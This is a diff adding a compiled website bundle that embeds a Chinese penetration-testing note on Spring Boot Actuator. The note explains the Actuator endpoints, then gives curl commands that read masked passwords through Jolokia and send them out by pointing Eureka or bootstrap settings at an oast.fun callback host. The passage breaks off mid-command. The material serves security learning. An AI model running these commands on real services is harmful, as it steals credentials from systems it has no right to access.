0:(0,o.jsx)(W,{})}}(),{metadata:s}=c();return(0,o.jsxs)("div",{className:"row",children:[(0,o.jsxs)("div",{className:(0,u.A)("col",!t.hidden&&le.docItemCol),children:[(0,o.jsx)(oe.A,{metadata:s}),(0,o.jsx)(k,{}),(0,o.jsxs)("div",{className:le.docItemContainer,children:[(0,o.jsxs)("article",{children:[(0,o.jsx)(ie,{}),(0,o.jsx)(M,{}),t.mobile,(0,o.jsx)(J,{children:e}),(0,o.jsx)(H,{})]}),(0,o.jsx)(v,{})]})]}),t.desktop&&(0,o.jsx)("div",{className:"col col--3",children:t.desktop})]})}function ce(e){const t=`docs-doc-id-${e.content.metadata.id}`,s=e.content;return(0,o.jsx)(r,{content:e.content,children:(0,o.jsxs)(a.e3,{className:t,children:[(0,o.jsx)(d,{}),(0,o.jsx)(re,{children:(0,o.jsx)(s,{})})]})})}}}]); \ No newline at end of file diff --git a/en/assets/js/17b9faf3.1e49c51b.js b/en/assets/js/17b9faf3.1e49c51b.js new file mode 100644 index 0000000..6bf5ddb --- /dev/null +++ b/en/assets/js/17b9faf3.1e49c51b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4990],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>d});var r=t(96540);const s={},i=r.createContext(s);function l(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:l(n.components),r.createElement(i.Provider,{value:e},n.children)}},99597:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>d,default:()=>h,frontMatter:()=>l,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README","title":"SpringBoot\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/"},"next":{"title":"JS\u8fd8\u539f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/"}}');var s=t(74848),i=t(28453);const l={},d="SpringBoot\u6e17\u900f",c={},o=[{value:"Actuator",id:"actuator",level:2},{value:"Endpoint\u7aef\u70b9\u4ecb\u7ecd",id:"endpoint\u7aef\u70b9\u4ecb\u7ecd",level:3},{value:"SpringBoot Actuator\u4f7f\u7528\u53ca\u914d\u7f6e",id:"springboot-actuator\u4f7f\u7528\u53ca\u914d\u7f6e",level:3},{value:"ENV",id:"env",level:3},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e00)",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e00",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e8c)",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e8c",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e09)<del>\uff08\u6682\u672a\u590d\u73b0\uff09</del>",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e09\u6682\u672a\u590d\u73b0",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u56db)<del>\uff08\u6682\u672a\u590d\u73b0\uff09</del>",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u56db\u6682\u672a\u590d\u73b0",level:4}];function a(n){const e={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"springboot\u6e17\u900f",children:"SpringBoot\u6e17\u900f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:10"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"springboot\u6e17\u900f-1",children:"SpringBoot\u6e17\u900f"}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsx)(e.p,{children:"\u65e5\u5e38\u6e17\u900f\u8fc7\u7a0b\u4e2d\uff0c\u7ecf\u5e38\u4f1a\u78b0\u5230SpringBoot\u642d\u5efa\u7684\u5fae\u670d\u52a1\uff08API\u5c45\u591a\uff09,\u9488\u5bf9\u6027\u7684\u505a\u4e86\u4e00\u4e2a\u603b\u7ed3\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"Springboot\u7684\u786e\u5b9a\u8fd8\u662f\u5f88\u597d\u786e\u5b9a\u7684\uff0c\u5b83\u7684\u51fa\u9519\u4e00\u822c\u957f\u8fd9\u6837\uff0c\u78b0\u5230\u8fd9\u4e2a\u5927\u81f4\u5c31\u662fspringboot\u4e86"}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645212.png",alt:"image-20240124004206952"})}),"\n",(0,s.jsx)(e.h2,{id:"actuator",children:"Actuator"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u662fSpringBoot\u9879\u76ee\u4e2d\u4e00\u4e2a\u975e\u5e38\u5f3a\u5927\u4e00\u4e2a\u529f\u80fd\uff0c\u6709\u52a9\u4e8e\u5bf9\u5e94\u7528\u7a0b\u5e8f\u8fdb\u884c\u76d1\u89c6\u548c\u7ba1\u7406\uff0c\u901a\u8fc7restful api\u8bf7\u6c42\u6765\u76d1\u7ba1\u3001\u5ba1\u8ba1\u3001\u6536\u96c6\u5e94\u7528\u7684\u8fd0\u884c\u60c5\u51b5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u7684\u6838\u5fc3\u662f\u7aef\u70b9Endpoint\uff0c\u5b83\u7528\u6765\u76d1\u89c6\u5e94\u7528\u7a0b\u5e8f\u53ca\u4ea4\u4e92\uff0cspring-boot-actuator\u4e2d\u5df2\u7ecf\u5185\u7f6e\u4e86\u975e\u5e38\u591a\u7684Endpoint\uff08health\u3001info\u3001beans\u3001metrics\u3001httptrace\u3001shutdown\u7b49\u7b49\uff09\uff0c\u540c\u65f6\u4e5f\u5141\u8bb8\u6211\u4eec\u81ea\u5df1\u6269\u5c55\u81ea\u5df1\u7684Endpoints\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u6bcf\u4e2aEndpoint\u90fd\u53ef\u4ee5\u542f\u7528\u548c\u7981\u7528\u3002\u8981\u8fdc\u7a0b\u8bbf\u95eeEndpoint\uff0c\u8fd8\u5fc5\u987b\u901a\u8fc7JMX\u6216HTTP\u8fdb\u884c\u66b4\u9732\uff0c\u5927\u90e8\u5206\u5e94\u7528\u9009\u62e9HTTP\uff0cEndpoint \u7684ID\u9ed8\u8ba4\u6620\u5c04\u5230\u4e00\u4e2a\u5e26/actuator\u524d\u7f00\u7684URL\u3002\u4f8b\u5982\uff0chealth\u7aef\u70b9\u9ed8\u8ba4\u6620\u5c04\u5230/actuator/health\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"endpoint\u7aef\u70b9\u4ecb\u7ecd",children:"Endpoint\u7aef\u70b9\u4ecb\u7ecd"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u7684\u6838\u5fc3\u5c31\u662fEndpoint\uff0c\u6bcf\u4e00\u4e2aEndpoint\u90fd\u4ee3\u8868\u7740\u76d1\u63a7\u67d0\u4e00\u9879\u6570\u636e\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"\u7aef\u70b9"}),(0,s.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"auditevents"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5f53\u524d\u5e94\u7528\u66b4\u9732\u7684\u5ba1\u8ba1\u4e8b\u4ef6\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"beans"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u4e2d\u6240\u6709\u7684 Spring Beans \u7684\u5b8c\u6574\u5173\u7cfb\u5217\u8868"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"caches"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u516c\u5f00\u53ef\u4ee5\u7528\u7684\u7f13\u5b58"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"conditions"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u81ea\u52a8\u914d\u7f6e\u6761\u4ef6\u4fe1\u606f\uff0c\u8bb0\u5f55\u54ea\u4e9b\u81ea\u52a8\u914d\u7f6e\u6761\u4ef6\u901a\u8fc7\u548c\u6ca1\u901a\u8fc7\u7684\u539f\u56e0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"configprops"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u6240\u6709\u914d\u7f6e\u5c5e\u6027\uff0c\u5305\u62ec\u9ed8\u8ba4\u914d\u7f6e\uff0c\u663e\u793a\u4e00\u4e2a\u6240\u6709 @ConfigurationProperties \u7684\u6574\u7406\u5217\u7248\u672c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"env"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u6240\u6709\u73af\u5883\u53d8\u91cf"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"flyway"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5df2\u5e94\u7528\u7684\u6240\u6709Flyway\u6570\u636e\u5e93\u8fc1\u79fb\u4fe1\u606f\uff0c\u9700\u8981\u4e00\u4e2a\u6216\u591a\u4e2a Flyway Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"liquibase"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5df2\u5e94\u7528\u7684\u6240\u6709Liquibase\u6570\u636e\u5e93\u8fc1\u79fb\u3002\u9700\u8981\u4e00\u4e2a\u6216\u591a\u4e2a Liquibase Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"health"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u5065\u5eb7\u6307\u6807\uff08\u8fd0\u884c\u72b6\u51b5\u4fe1\u606f\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"httptrace"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6HTTP\u8ddf\u8e2a\u4fe1\u606f\uff08\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6700\u8fd1100\u4e2aHTTP\u8bf7\u6c42-\u54cd\u5e94\u4ea4\u6362\uff09\u3002\u9700\u8981 HttpTraceRepository Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"info"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"integrationgraph"}),(0,s.jsx)(e.td,{children:"\u663e\u793a Spring Integration \u56fe\u3002\u9700\u8981\u4f9d\u8d56 spring-integration-core"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"loggers"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u548c\u4fee\u6539\u5e94\u7528\u7a0b\u5e8f\u4e2d\u65e5\u5fd7\u7684\u914d\u7f6e"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"logfile"}),(0,s.jsx)(e.td,{children:"\u8fd4\u56de\u65e5\u5fd7\u6587\u4ef6\u7684\u5185\u5bb9\uff08\u5982\u679c\u5df2\u8bbe\u7f6elogging.file.name\u6216logging.file.path\u5c5e\u6027\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"metrics"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u7cfb\u7edf\u5ea6\u91cf\u6307\u6807\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"mappings"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u6240\u6709@RequestMapping\u8def\u5f84\u7684\u6574\u7406\u5217\u8868"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"scheduledtasks"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684\u8ba1\u5212\u4efb\u52a1"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"sessions"}),(0,s.jsx)(e.td,{children:"\u5141\u8bb8\u4eceSpring Session\u652f\u6301\u7684\u4f1a\u8bdd\u5b58\u50a8\u4e2d\u68c0\u7d22\u548c\u5220\u9664\u7528\u6237\u4f1a\u8bdd\u3002\u9700\u8981\u4f7f\u7528Spring Session\u7684\u57fa\u4e8eServlet\u7684Web\u5e94\u7528\u7a0b\u5e8f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"shutdown"}),(0,s.jsx)(e.td,{children:"\u5173\u95ed\u5e94\u7528\uff0c\u8981\u6c42endpoints.shutdown.enabled\u8bbe\u7f6e\u4e3atrue\uff0c\u9ed8\u8ba4\u4e3a false"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"threaddump"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u7cfb\u7edf\u7ebf\u7a0b\u8f6c\u50a8\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"heapdump"}),(0,s.jsx)(e.td,{children:"\u8fd4\u56dehprof\u5806\u8f6c\u50a8\u6587\u4ef6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"jolokia"}),(0,s.jsx)(e.td,{children:"\u901a\u8fc7HTTP\u516c\u5f00JMX bean\uff08\u5f53Jolokia\u5728\u7c7b\u8def\u5f84\u4e0a\u65f6\uff0c\u4e0d\u9002\u7528\u4e8eWebFlux\uff09\u3002\u9700\u8981\u4f9d\u8d56 jolokia-core"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"prometheus"}),(0,s.jsx)(e.td,{children:"\u4ee5Prometheus\u670d\u52a1\u5668\u53ef\u4ee5\u6293\u53d6\u7684\u683c\u5f0f\u516c\u5f00\u6307\u6807\u3002\u9700\u8981\u4f9d\u8d56 micrometer-registry-prometheus"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"springboot-actuator\u4f7f\u7528\u53ca\u914d\u7f6e",children:"SpringBoot Actuator\u4f7f\u7528\u53ca\u914d\u7f6e"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0a\u9762\u4ecb\u7ecd\u4e86Actuator\u4ee5\u53caEndpoint\uff0c\u63a5\u4e0b\u6765\u5c31\u5f00\u59cb\u4f7f\u7528\u5b83\uff0c\u53ea\u9700\u8981\u5f15\u5165\u4e0b\u9762\u542f\u52a8\u5668\u4f9d\u8d56\u5c31\u53ef\u4ee5\u4f7f\u7528Actuator\u4e86\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-xml",children:"\x3c!-- actuator --\x3e\n<dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-actuator</artifactId>\n</dependency>\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5728SpringBoot2.X\u4e2d\uff0cActuator \u9ed8\u8ba4\u53ea\u5f00\u653e health \u3002\u6211\u4eec\u5148\u4e0d\u505a\u4efb\u4f55\u914d\u7f6e\uff0c\u76f4\u63a5\u542f\u52a8SpringBoot\u9879\u76ee\uff0c\u7136\u540e\u5728\u6d4f\u89c8\u5668\u8f93\u5165\uff1a**",(0,s.jsx)(e.a,{href:"http://localhost:8080/actuator",children:"http://localhost:8080/actuator"}),"**\u67e5\u770b\u9ed8\u8ba4\u5f00\u653e\u7684\u7aef\u70b9\uff0c\u5982\u4e0b\u56fe\u6240\u793a"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645213.png",alt:"image-20240124005054866"})}),"\n",(0,s.jsx)(e.p,{children:"\u5982\u679c\u6211\u4eec\u9700\u8981\u66b4\u9732\u6240\u6709\u65ad\u70b9\u53ea\u80fd\u5728\u4e0b\u65b9\u8bbe\u7f6e"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yml",children:"management:\n endpoints:\n web:\n base-path: /actuator\n exposure:\n include: *\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645214.png",alt:"image-20240124005545874"})}),"\n",(0,s.jsx)(e.p,{children:"\u5f53\u7136\u4e5f\u53ef\u4ee5\u9488\u5bf9\u6027\u66b4\u9732"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yaml",children:"management:\n endpoints:\n web:\n base-path: /actuator #\u914d\u7f6e\u7aef\u70b9\u8bbf\u95ee\u524d\u7f00\n exposure:\n include: '*' #\u66b4\u9732\u6240\u6709\u7aef\u70b9\n enabled-by-default: false #\u7981\u7528\u6240\u6709\u7aef\u70b9\n endpoint:\n info:\n enabled: true #\u4e0a\u9762\u5173\u95ed\u6240\u6709\u7aef\u70b9\u4e4b\u540e\uff0c\u53c8\u66b4\u9732\u6307\u5b9a\u7684\u7aef\u70b9\uff0c\u8fd9\u91cc\u66b4\u9732info\u7aef\u70b9\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645216.png",alt:"image-20240124005723412"})}),"\n",(0,s.jsx)(e.h3,{id:"env",children:"ENV"}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u8fc7 env \u53ef\u4ee5\u83b7\u53d6\u5230\u6240\u6709\u5173\u4e8e\u5f53\u524d SpringBoot \u5e94\u7528\u7a0b\u5e8f\u7684\u8fd0\u884c\u73af\u5883\u4fe1\u606f\uff0c\u5982\uff1a\u64cd\u4f5c\u7cfb\u7edf\u4fe1\u606f\uff08systemProperties\uff09\u3001\u73af\u5883\u53d8\u91cf\u4fe1\u606f\u3001JDK \u7248\u672c\u53ca ClassPath \u4fe1\u606f\u3001\u5f53\u524d\u542f\u7528\u7684\u914d\u7f6e\u6587\u4ef6\uff08activeProfiles\uff09\u3001propertySources\u3001\u5e94\u7528\u7a0b\u5e8f\u914d\u7f6e\u4fe1\u606f\uff08applicationConfig\uff09\u7b49"}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645217.png",alt:"image-20240124010000032"})}),"\n",(0,s.jsx)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e00",children:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e00)"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u76ee\u6807\u7f51\u7ad9\u5b58\u5728 ",(0,s.jsx)(e.code,{children:"/jolokia"})," \u6216 ",(0,s.jsx)(e.code,{children:"/actuator/jolokia"})," \u63a5\u53e3"]}),"\n",(0,s.jsxs)(e.li,{children:["\u5b58\u5728",(0,s.jsx)(e.code,{children:"getProperty"}),"\u7684",(0,s.jsx)(e.code,{children:"mbean"})]}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-yaml",children:"\x3c!-- https://mvnrepository.com/artifact/org.jolokia/jolokia-support-spring --\x3e\n <dependency>\n <groupId>org.jolokia</groupId>\n <artifactId>jolokia-support-spring</artifactId>\n <version>2.0.0</version>\n </dependency>\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5229\u7528 \u4fee\u6539 ",(0,s.jsx)(e.code,{children:"security.user.password"})," \u4e3a\u5bf9\u5e94\u7684\u6570\u636e\u5373\u53ef\u67e5\u770b"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST \'http://localhost:8080/actuator/jolokia\' -H \'Content-Type: application/json\' --data \'{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}\' -v\n'})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645218.png",alt:"image-20240124014706709"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5e38\u7528\u7684",(0,s.jsx)(e.code,{children:"mbean"}),"\u6709"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-text",children:"org.springframework.boot:name=SpringApplication,type=Admin\norg.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager\n"})}),"\n",(0,s.jsx)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e8c",children:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e8c)"}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"management.endpoint.env.post.enabled=true"})}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"refresh"}),"\u3001",(0,s.jsx)(e.code,{children:"env"}),"\u63a5\u53e3\u53ef\u8bbf\u95ee"]}),"\n",(0,s.jsxs)(e.li,{children:["\u5b58\u5728\u4f9d\u8d56 ",(0,s.jsx)(e.code,{children:"spring-boot-starter-actuator"}),"\u3001",(0,s.jsx)(e.code,{children:"spring-cloud-starter-netflix-eureka-client"})]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u6cd5\u5b58\u5728\u5c40\u9650\u6027\u5c31\u662f\u53c2\u6570\u662f\u901a\u8fc7\u62fc\u63a5",(0,s.jsx)(e.code,{children:"url"})," \u4ee5",(0,s.jsx)(e.code,{children:"URL"})," \u5e26\u51fa\u6765\u7684\uff0c\u6240\u4ee5\u4e0d\u7b26\u5408",(0,s.jsx)(e.code,{children:"URL"}),"\u7684\u6570\u636e\u662f\u65e0\u6cd5\u5b8c\u6210\u5916\u5e26\u7684"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"${PWD}"})," \u5c31\u662f\u9700\u8981\u88ab\u5916\u5e26\u7684\u503c\uff0c",(0,s.jsx)(e.code,{children:"sxielvzhzqayslxhetklcq64byiulay79.oast.fun"})," dns\u5e73\u53f0\u7684\u5730\u5740\u5373\u53ef"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST -H \'Content-Type: application/json\' --data \'{"name":"eureka.client.serviceUrl.defaultZone","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}\' \'http://127.0.0.1:8080/actuator/env\'\n'})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645219.png",alt:"image-20240125132240871"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:"# \u5237\u65b0\u914d\u7f6e\ncurl -X POST -H 'Content-Type: application/json' --data '{}' 'http://127.0.0.1:8080/actuator/refresh'\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645220.png",alt:"image-20240125132256414"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6700\u540e\u5728",(0,s.jsx)(e.code,{children:"dns"})," \u67e5\u770b\u5373\u53ef"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645221.png",alt:"image-20240125132324857"})}),"\n",(0,s.jsxs)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e09\u6682\u672a\u590d\u73b0",children:["\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e09)",(0,s.jsx)(e.del,{children:"\uff08\u6682\u672a\u590d\u73b0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"management.endpoint.env.post.enabled=true"})}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"refresh"}),"\u3001",(0,s.jsx)(e.code,{children:"env"}),"\u63a5\u53e3\u53ef\u8bbf\u95ee"]}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e0e\u65b9\u6cd5\u4e8c\u76f8\u4f3c"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:'curl -X POST -H \'Content-Type: application/json\' --data \'{"name":"spring.cloud.bootstrap.location","value":"http://sxielvzhzqayslxhetklcq64byiulay79.oast.fun?path=${PWD}&action="}\' \'http://127.0.0.1:8080/actuator/env\'\n'})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-sh",children:"# \u5237\u65b0\u914d\u7f6e\ncurl -X POST -H 'Content-Type: application/json' --data '{}' 